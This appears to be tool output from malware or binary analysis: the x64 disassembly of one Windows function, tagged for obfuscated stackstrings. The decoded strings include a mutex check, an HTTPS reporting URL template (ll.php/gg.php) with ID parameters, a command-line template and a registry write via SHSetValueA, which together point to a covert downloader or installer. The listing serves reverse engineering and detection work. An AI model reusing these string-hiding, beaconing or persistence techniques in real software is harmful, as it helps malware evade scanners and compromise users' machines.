Function at 0x14000daf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4c8]
sub rsp, 0x5c8
mov rax, qword [0x1400a7020]
xor rax, rsp
mov qword [rbp + 0x4b0], rax
mov r12, r9
mov qword [rbp + 0x38], r9
mov r15, r8
mov qword [rbp + 0x30], r8
mov r14, rdx
mov qword [rbp + 0x28], rdx
mov rsi, rcx
mov qword [rsp + 0x48], rcx
mov qword [rbp + 0x80], rcx
mov qword [rbp + 0x88], rdx
mov qword [rbp + 0x90], r8
mov qword [rbp + 0x98], r9
mov rdi, qword [rbp + 0x530]
mov qword [rbp - 0x30], rdi
mov qword [rbp + 0xa0], rdi
mov dword [rbp + 0x42b], 0x336c656e
mov word [rbp + 0x428], 0x656b
mov word [rbp + 0x432], 0x6c6c
mov byte [rbp + 0x434], 0
mov word [rbp + 0x42f], 0x2e32
mov byte [rbp + 0x42a], 0x72
mov byte [rbp + 0x431], 0x64
mov dword [rbp + 0x3f8], 0x6e65704f
mov word [rbp + 0x401], 0x41
mov dword [rbp + 0x3fc], 0x6574754d
mov byte [rbp + 0x400], 0x78
lea rcx, [rbp + 0x428]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x3f8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x58], rax
test rax, rax
jne 0x14000dc80
mov rdx, qword [rsi]
sub rdx, 0x18
mov rbx, 0xffffffffffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000dc14
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [r14]
sub rdx, 0x18
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000dc31
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [r15]
sub rdx, 0x18
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000dc4e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [r12]
sub rdx, 0x18
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000dc6c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rdi]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
sub ebx, 1
jmp 0x14000eb71
call fcn.14001b940
mov rcx, rax
test rax, rax
je 0x14000ed56
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x60], rax
mov word [rbp + 0x46b], 0x253d
mov dword [rbp + 0x476], 0x3d646975
mov dword [rbp + 0x47f], 0x73253d
mov dword [rbp + 0x46e], 0x3d632d20
mov dword [rbp + 0x472], 0x2d207325
mov dword [rbp + 0x460], 0x2073682d
mov dword [rbp + 0x47a], 0x2d207325
mov dword [rbp + 0x466], 0x69632d20
mov byte [rbp + 0x46d], 0x73
mov word [rbp + 0x464], 0x732d
mov byte [rbp + 0x47e], 0x67
mov byte [rbp + 0x46a], 0x64
mov rax, qword [r14]
mov qword [rsp + 0x28], rax
mov rax, qword [rsi]
mov qword [rsp + 0x20], rax
mov r9, qword [r12]
mov r8, qword [r15]
lea rdx, [rbp + 0x460]
lea rcx, [rsp + 0x60]
call fcn.14001a2b0
call fcn.14001b940
mov rcx, rax
test rax, rax
je 0x14000ed61
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x80], rax
lea rdx, [0x14009af30]
lea rcx, [rbp - 0x80]
call fcn.14001b1d0
test al, al
jne 0x14000dd7c
xor r8d, r8d
lea rdx, [0x14009af30]
lea rcx, [rbp - 0x80]
call fcn.14001b4a0
nop
xor r15d, r15d
mov qword [rbp + 0x40], r15
mov ebx, r15d
mov dword [rbp - 0x64], ebx
lea r12, [r15 - 1]
lea rdi, str.f24f189a2ea94dc09cca2e67c5746b22
mov ecx, 1
call fcn.14002613c
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], r15
call fcn.14001b940
mov rcx, rax
test rax, rax
je 0x14000ed4b
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x68], rax
mov dword [rbp + 0x48e], 0x73252f2f
mov word [rbp + 0x492], 0x6c2f
mov word [rbp + 0x49d], 0x2673
mov dword [rbp + 0x495], 0x7068702e
mov dword [rbp + 0x4a0], 0x2673253d
mov dword [rbp + 0x489], 0x73707474
mov dword [rbp + 0x499], 0x253d693f
mov dword [rbp + 0x4a8], 0x64253d65
mov dword [rbp + 0x4a4], 0x26323d78
mov byte [rbp + 0x49f], 0x70
mov byte [rbp + 0x494], 0x6c
mov byte [rbp + 0x48d], 0x3a
mov byte [rbp + 0x488], 0x68
mov byte [rbp + 0x4ac], 0
lea rcx, [rbp + 0x50]
call fcn.14001aa10
nop
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rdi
mov r9, qword [rsi]
mov r8, qword [rax]
lea rdx, [rbp + 0x488]
lea rcx, [rsp + 0x68]
call fcn.14001a2b0
nop
mov rdx, qword [rbp + 0x50]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000de8b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
cmp ebx, 3
jl 0x14000e4ab
mov word [rbp + 0x3c0], 0x6c6c
mov dword [rbp + 0x3c3], 0x706870
mov byte [rbp + 0x3c2], 0x2e
mov word [rbp + 0x3c8], 0x6767
mov dword [rbp + 0x3cb], 0x706870
mov byte [rbp + 0x3ca], 0x2e
lea rax, [rbp + 0x3c0]
mov r14, r12
inc r14
cmp byte [rax + r14], 0
jne 0x14000ded2
mov qword [rsp + 0x70], r14
test r14d, r14d
je 0x14000e4ab
lea rax, [rbp + 0x3c8]
mov r13, r12
inc r13
cmp byte [rax + r13], 0
jne 0x14000def4
mov esi, r15d
mov rbx, qword [rsp + 0x68]
mov rdi, rbx
movsxd r15, dword [rbx - 0x10]
add r15, rbx
cmp rbx, r15
jae 0x14000e0f9
xor ebx, ebx
nop dword [rax + rax]
lea rdx, [rbp + 0x3c0]
mov rcx, rdi
call fcn.140027d44
test rax, rax
je 0x14000df5f
movsxd r14, r14d
nop word [rax + rax]
inc esi
lea rdi, [r14 + rax]
lea rdx, [rbp + 0x3c0]
mov rcx, rdi
call fcn.140027d44
test rax, rax
jne 0x14000df40
mov r14, qword [rsp + 0x70]
test rdi, rdi
je 0x14000df71
mov rax, r12
inc rax
cmp byte [rdi + rax], bl
jne 0x14000df67
jmp 0x14000df73
mov eax, ebx
inc eax
movsxd rcx, eax
add rdi, rcx
cmp rdi, r15
jb 0x14000df20
mov rbx, qword [rsp + 0x68]
test esi, esi
jle 0x14000e0f9
movsxd r12, dword [rbx - 0x10]
mov edi, r13d
sub edi, r14d
imul edi, esi
add edi, r12d
mov dword [rsp + 0x58], edi
mov edx, r12d
cmp edi, r12d
cmovg edx, edi
test edx, edx
js 0x14000ed92
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edx
or eax, ecx
jge 0x14000dfd2
lea rcx, [rsp + 0x68]
call fcn.14001b440
mov rbx, qword [rsp + 0x68]
mov rsi, rbx
lea r15, [rbx + r12]
mov qword [rbp - 0x78], r15
cmp rbx, r15
jae 0x14000e0d7
nop word [rax + rax]
lea rdx, [rbp + 0x3c0]
mov rcx, rsi
call fcn.140027d44
mov rdi, rax
test rax, rax
je 0x14000e0a9
movsxd rax, r14d
mov qword [rbp - 0x60], rax
movsxd r15, r13d
nop word [rax + rax]
sub r12d, r14d
mov r14d, r12d
sub r14d, edi
add r14d, ebx
movsxd r8, r14d
lea rdx, [rax + rdi]
lea rsi, [r15 + rdi]
je 0x14000e053
test rsi, rsi
je 0x14000ed77
test rdx, rdx
je 0x14000ed77
mov rcx, rsi
call fcn.14001e8d0
test r13d, r13d
je 0x14000e073
test rdi, rdi
je 0x14000ed77
mov r8, r15
lea rdx, [rbp + 0x3c8]
mov rcx, rdi
call fcn.14001e8d0
lea eax, [r14 + r13]
movsxd rcx, eax
mov byte [rcx + rdi], 0
add r12d, r13d
lea rdx, [rbp + 0x3c0]
mov rcx, rsi
call fcn.140027d44
mov rdi, rax
test rax, rax
mov rax, qword [rbp - 0x60]
mov r14, qword [rsp + 0x70]
jne 0x14000e020
mov r15, qword [rbp - 0x78]
test rsi, rsi
je 0x14000e0c0
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rsi + rax], 0
jne 0x14000e0b5
jmp 0x14000e0c2
xor eax, eax
inc eax
movsxd rcx, eax
add rsi, rcx
cmp rsi, r15
jb 0x14000dff0
mov edi, dword [rsp + 0x58]
test edi, edi
js 0x14000ed92
cmp edi, dword [rbx - 0xc]
jg 0x14000ed92
mov dword [rbx - 0x10], edi
movsxd rax, edi
mov byte [rax + rbx], 0
mov r12, 0xffffffffffffffff
xor r15d, r15d
mov rsi, qword [rsp + 0x48]
lea r14, [rbx - 0x18]
mov qword [rbp - 0x78], r14
mov rcx, r14
call fcn.14001ade0
add rax, 0x18
mov qword [rsp + 0x70], rax
mov word [rbp + 0x3eb], 0x656d
mov word [rbp + 0x3e8], 0x7426
mov dword [rbp + 0x3ed], 0x64253d
mov byte [rbp + 0x3ea], 0x69
call fcn.140016f70
mov r8d, eax
lea rdx, [rbp + 0x3e8]
lea rcx, [rsp + 0x70]
call fcn.14001ad20
mov r13, qword [rsp + 0x70]
add r13, 0xffffffffffffffe8
mov rcx, r13
call fcn.14001ade0
add rax, 0x18
mov qword [rbp + 0x48], rax
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x50]
call fcn.140003d20
movzx edi, al
call fcn.14001b940
test rax, rax
je 0x14000ed40
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rsp + 0x58], rax
mov r8d, r15d
test dil, dil
setne r8b
lea rdx, str.itcdr__d
lea rcx, [rsp + 0x58]
call fcn.14001a2b0
lea rax, [rbp - 0x18]
mov qword [rbp - 0x60], rax
mov rbx, qword [rsp + 0x58]
add rbx, 0xffffffffffffffe8
mov rcx, rbx
call fcn.14001ade0
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rcx, qword [rsi]
sub rcx, 0x18
call fcn.14001ade0
add rax, 0x18
mov qword [rbp + 0x18], rax
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x18]
call fcn.140012370
test dil, dil
je 0x14000e7c7
mov r8d, dword [rbp - 0x48]
lea rdx, str.itcdsz__d
lea rcx, [rsp + 0x58]
call fcn.14001a2b0
lea rax, [rbp - 0x10]
mov qword [rbp - 0x70], rax
mov rbx, qword [rsp + 0x58]
lea rsi, [rbx - 0x18]
mov rcx, rsi
call fcn.14001ade0
add rax, 0x18
mov qword [rbp - 0x10], rax
mov rdi, qword [rsp + 0x48]
mov rcx, qword [rdi]
sub rcx, 0x18
call fcn.14001ade0
add rax, 0x18
mov qword [rbp - 8], rax
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 8]
call fcn.140012370
cmp qword [rbp - 0x48], 0x100000
jb 0x14000ec25
lea rcx, [rbp + 0xd0]
call section..text
nop
mov byte [rbp + 0xd0], 0
mov word [rbp + 0x445], 0x3231
mov dword [rbp + 0x452], 0x31613564
mov dword [rbp + 0x43f], 0x37393835
mov word [rbp + 0x456], 0x3637
mov word [rbp + 0x44d], 0x3230
mov dword [rbp + 0x439], 0x35336563
mov byte [rbp + 0x458], 0
mov word [rbp + 0x448], 0x3365
mov word [rbp + 0x450], 0x3933
mov word [rbp + 0x443], 0x3635
mov word [rbp + 0x44b], 0x3237
mov byte [rbp + 0x44a], 0x30
mov byte [rbp + 0x44f], 0x64
mov byte [rbp + 0x438], 0x32
mov word [rbp + 0x43d], 0x3736
mov byte [rbp + 0x447], 0x34
mov qword [rbp + 0xa8], r15
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], 0
lea rax, [rbp + 0x438]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x14000e336
lea rdx, [rbp + 0x438]
lea rcx, [rbp + 0xa8]
call fcn.140019460
nop
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x78], 0xf
mov qword [rbp + 0x70], r15
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0xd0]
call fcn.140079340
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x14000e3bd
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e3b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ed9d
call fcn.14001cc6c
mov rcx, qword [rbp - 0x48]
call fcn.14001d1c4
mov rdi, rax
mov dword [rbp - 0x68], r15d
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9, rdi
mov r8d, dword [rbp - 0x48]
mov rdx, qword [rbp - 0x50]
lea rcx, [rbp + 0xd0]
call fcn.14000cb30
movzx ebx, al
mov rcx, qword [rbp - 0x50]
call fcn.140021cf4
test bl, bl
jne 0x14000e4b5
lea rax, [rbp - 0x40]
mov qword [rbp - 0x70], rax
call fcn.14001b940
mov rcx, rax
test rax, rax
je 0x14000eda3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x40], rax
lea rdx, str.itcdf
lea rcx, [rbp - 0x40]
call fcn.14001b1d0
test al, al
jne 0x14000e453
mov r8d, 5
lea rdx, str.itcdf
lea rcx, [rbp - 0x40]
call fcn.14001b4a0
nop
mov rcx, qword [rsp + 0x48]
mov rcx, qword [rcx]
sub rcx, 0x18
call fcn.14001ade0
add rax, 0x18
mov qword [rbp], rax
lea rdx, [rbp - 0x40]
lea rcx, [rbp]
call fcn.140012370
mov rcx, rdi
call fcn.14001cc6c
nop
lea rcx, [rbp + 0xd0]
call fcn.1400195c0
nop
mov eax, r12d
lock xadd dword [rsi + 0x10], eax
sub eax, 1
jg 0x14000e7f5
mov rcx, qword [rsi]
mov rdx, rsi
jmp 0x14000e7ee
mov rbx, qword [rsp + 0x68]
jmp 0x14000e101
movsxd rbx, dword [rbp - 0x68]
mov rcx, rbx
call fcn.14001d1c4
mov r15, rax
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.14001e8d0
mov rcx, rdi
call fcn.14001cc6c
lea rcx, [rbp - 0x28]
call fcn.14007beb0
nop
mov dword [rsp + 0x50], 0x312e36
lea rdx, [rsp + 0x50]
mov rcx, qword [rbp - 0x28]
call fcn.1400284f4
xor ecx, ecx
mov r14d, ecx
test eax, eax
mov eax, 0xa
cmove r14d, eax
mov byte [rsp + 0x40], cl
mov esi, ecx
xor r8d, r8d
lea rdx, [0x14009af30]
lea rcx, [rbp - 0x80]
call fcn.14001b4a0
call fcn.14001b940
mov rcx, rax
test rax, rax
je 0x14000edb9
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x78], rax
lea rdx, [0x14009af30]
lea rcx, [rsp + 0x78]
call fcn.14001b1d0
test al, al
jne 0x14000e56d
xor r8d, r8d
lea rdx, [0x14009af30]
lea rcx, [rsp + 0x78]
call fcn.14001b4a0
nop
cmp esi, 0x14
setge dil
mov rbx, qword [rsp + 0x60]
mov ecx, 1
mov eax, dword [rbx - 0xc]
sub ecx, dword [rbx - 8]
sub eax, 0x104
cmp r14d, 0xa
jge 0x14000e5d8
or eax, ecx
jge 0x14000e5a7
mov edx, 0x104
lea rcx, [rsp + 0x60]
call fcn.14001b440
mov rbx, qword [rsp + 0x60]
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x28], dil
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x80]
mov r8, rbx
mov rax, qword [rbp - 0x30]
mov rdx, qword [rax]
mov rcx, r15
call fcn.14000ede0
jmp 0x14000e61f
or ecx, eax
jge 0x14000e5f0
mov edx, 0x104
lea rcx, [rsp + 0x60]
call fcn.14001b440
mov rbx, qword [rsp + 0x60]
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x28], dil
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x80]
mov r8, rbx
mov rax, qword [rbp - 0x30]
mov rdx, qword [rax]
mov rcx, r15
call fcn.140003eb0
movzx edi, al
lea eax, [r14 + 1]
xor r14d, r14d
cmp eax, 0x14
cmovl r14d, eax
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
call fcn.140027150
test eax, eax
js 0x14000edae
cmp eax, dword [rbx - 0xc]
jg 0x14000edae
mov dword [rbx - 0x10], eax
cdqe
mov byte [rax + rbx], 0
test dil, dil
jne 0x14000e667
mov ecx, 0x1f4
call fcn.14000a3f0
jmp 0x14000e6c3
xor ebx, ebx
nop dword [rax]
lea rcx, [rbp + 0x58]
call fcn.14001a940
nop
mov r8, qword [rax]
xor edx, edx
mov ecx, 0x100000
call qword [rbp - 0x58]
mov rdi, rax
mov rdx, qword [rbp + 0x58]
add rdx, 0xffffffffffffffe8
mov ecx, r12d
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x14000e6a9
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
test rdi, rdi
jne 0x14000e794
mov ecx, 0xc8
call fcn.14000a3f0
inc ebx
cmp ebx, 0xa
jl 0x14000e670
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000e6e2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
inc esi
cmp esi, 0x28
jl 0x14000e510
movzx edi, byte [rsp + 0x40]
mov rcx, r15
call fcn.14001cc6c
movzx r8d, dil
lea rdx, str.itcmr__d
lea rcx, [rsp + 0x58]
call fcn.14001a2b0
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
mov rbx, qword [rsp + 0x58]
add rbx, 0xffffffffffffffe8
mov rcx, rbx
call fcn.14001ade0
add rax, 0x18
mov qword [rbp + 8], rax
mov rsi, qword [rsp + 0x48]
mov rcx, qword [rsi]
sub rcx, 0x18
call fcn.14001ade0
add rax, 0x18
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140012370
nop
mov rdx, qword [rbp - 0x28]
mov eax, r12d
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], eax
test dil, dil
jne 0x14000eba1
sub eax, 1
jg 0x14000e77f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rbp + 0xd0]
call fcn.1400195c0
mov r14, qword [rbp - 0x78]
xor r15d, r15d
jmp 0x14000e7d0
mov rcx, rdi
call fcn.14000a1b0
mov dil, 1
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000e6f2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
jmp 0x14000e6f2
mov rcx, qword [rbp - 0x50]
call fcn.140021cf4
mov ecx, 0xc8
call fcn.14000a3f0
nop
mov eax, r12d
lock xadd dword [rbx + 0x10], eax
sub eax, 1
jg 0x14000e7f5
mov rcx, qword [rbx]
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov eax, r12d
lock xadd dword [r13 + 0x10], eax
sub eax, 1
jg 0x14000e811
mov rcx, qword [r13]
mov rax, qword [rcx]
mov rdx, r13
call qword [rax + 8]
nop
mov eax, r12d
lock xadd dword [r14 + 0x10], eax
sub eax, 1
jg 0x14000e82b
mov rcx, qword [r14]
mov rax, qword [rcx]
mov rdx, r14
call qword [rax + 8]
mov ebx, dword [rbp - 0x64]
inc ebx
mov dword [rbp - 0x64], ebx
mov rsi, qword [rsp + 0x48]
cmp ebx, 6
jl 0x14000dd8d
mov word [rbp + 0x3d0], 0x6c47
mov dword [rbp + 0x3d9], 0x6174736e
mov dword [rbp + 0x3d3], 0x5c6c6162
mov dword [rbp + 0x3e3], 0x786574
mov word [rbp + 0x3e1], 0x754d
mov word [rbp + 0x3de], 0x656c
mov word [rbp + 0x3d7], 0x4943
mov byte [rbp + 0x3d2], 0x6f
mov byte [rbp + 0x3dd], 0x6c
mov byte [rbp + 0x3e0], 0x72
call fcn.14001b940
mov rcx, rax
test rax, rax
je 0x14000edcf
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x20], rax
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp - 0x20]
call fcn.14001b1d0
test al, al
jne 0x14000e8f2
lea rcx, [rbp + 0x3d0]
mov rax, r12
inc rax
cmp byte [rcx + rax], 0
jne 0x14000e8d5
mov r8d, eax
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp - 0x20]
call fcn.14001b4a0
nop
mov rbx, qword [rbp - 0x20]
mov r8, rbx
xor edx, edx
mov ecx, 0x100000
call qword [rbp - 0x58]
mov rdi, rax
lea rdx, [rbx - 0x18]
mov ecx, r12d
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x14000e921
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
test rdi, rdi
je 0x14000e94d
mov rcx, rdi
call fcn.14000a1b0
mov ecx, 0xfa
call fcn.14000a3f0
mov rax, qword [rbp + 0x40]
inc eax
mov qword [rbp + 0x40], rax
cmp eax, 0xf0
jl 0x14000e841
lea rax, [rbp - 0x38]
mov qword [rbp - 0x70], rax
call fcn.14001b940
mov rcx, rax
test rax, rax
je 0x14000ed6c
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x38], rax
lea rdx, str.itcbir
lea rcx, [rbp - 0x38]
call fcn.14001b1d0
test al, al
jne 0x14000e99f
mov r8d, 6
lea rdx, str.itcbir
lea rcx, [rbp - 0x38]
call fcn.14001b4a0
nop
mov rcx, qword [rsi]
sub rcx, 0x18
call fcn.14001ade0
add rax, 0x18
mov qword [rbp + 0x20], rax
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x20]
call fcn.140012370
call fcn.14000fcf0
call fcn.140017560
mov dword [0x1400ae554], eax
mov dword [rsp + 0x54], 0x6d7463
mov word [rbp + 0x40f], 0x642e
mov dword [rbp + 0x409], 0x61776c68
mov word [rbp + 0x412], 0x6c
mov word [rbp + 0x40d], 0x6970
mov byte [rbp + 0x411], 0x6c
mov byte [rbp + 0x408], 0x53
lea rcx, [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14000ea99
mov dword [rbp + 0x420], 0x416575
mov dword [rbp + 0x41c], 0x6c615674
mov word [rbp + 0x419], 0x5348
mov byte [rbp + 0x41b], 0x65
mov byte [rbp + 0x418], 0x53
lea rdx, [rbp + 0x418]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000ea8f
mov dword [rsp + 0x28], 4
lea rcx, [0x1400ae554]
mov qword [rsp + 0x20], rcx
mov r9d, 4
lea r8, [rsp + 0x54]
lea rdx, [0x1400ae578]
mov rcx, 0xffffffff80000002
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000eab8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000ead8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000eaf6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x28]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000eb18
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x30]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000eb3a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x38]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000eb5c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rax, qword [rbp - 0x30]
mov rdx, qword [rax]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], r12d
sub r12d, 1
jg 0x14000eb7c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
xor al, al
mov rcx, qword [rbp + 0x4b0]
xor rcx, rsp
call fcn.14001c9b0
add rsp, 0x5c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
sub eax, 1
jg 0x14000ebb0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rbp + 0xd0]
call fcn.1400195c0
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000ebdd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000ebfd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000e841
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
jmp 0x14000e841
lea rax, [rsp + 0x48]
mov qword [rbp - 0x70], rax
call fcn.14001b940
mov rcx, rax
test rax, rax
je 0x14000edc4
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x48], rax
lea rdx, str.itcszf
lea rcx, [rsp + 0x48]
call fcn.14001b1d0
test al, al
jne 0x14000ec7b
mov r8d, 6
lea rdx, str.itcszf
lea rcx, [rsp + 0x48]
call fcn.14001b4a0
nop
mov rcx, qword [rdi]
sub rcx, 0x18
call fcn.14001ade0
add rax, 0x18
mov qword [rbp - 0x58], rax
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x58]
call fcn.140012370
nop
lea rdx, [rbx - 0x18]
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000ecb9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000ecd9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000ecf9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000ed18
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000ed38
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rdi]
jmp 0x14000eadb
mov ecx, 0x80004005
call fcn.14001b6d0
nop
mov ecx, 0x80004005
call fcn.14001b6d0
nop
mov ecx, 0x80004005
call fcn.14001b6d0
nop
mov ecx, 0x80004005
call fcn.14001b6d0
nop
mov ecx, 0x80004005
call fcn.14001b6d0
nop
call fcn.140021dc0
mov dword [rax], 0x16
call fcn.140021c5c
mov ecx, 0x80070057
call fcn.14001b6d0
int3
mov ecx, 0x80070057
call fcn.14001b6d0
nop
call fcn.140021c7c
int3
mov ecx, 0x80004005
call fcn.14001b6d0
nop
mov ecx, 0x80070057
call fcn.14001b6d0
nop
mov ecx, 0x80004005
call fcn.14001b6d0
nop
mov ecx, 0x80004005
call fcn.14001b6d0
nop
mov ecx, 0x80004005
call fcn.14001b6d0
int3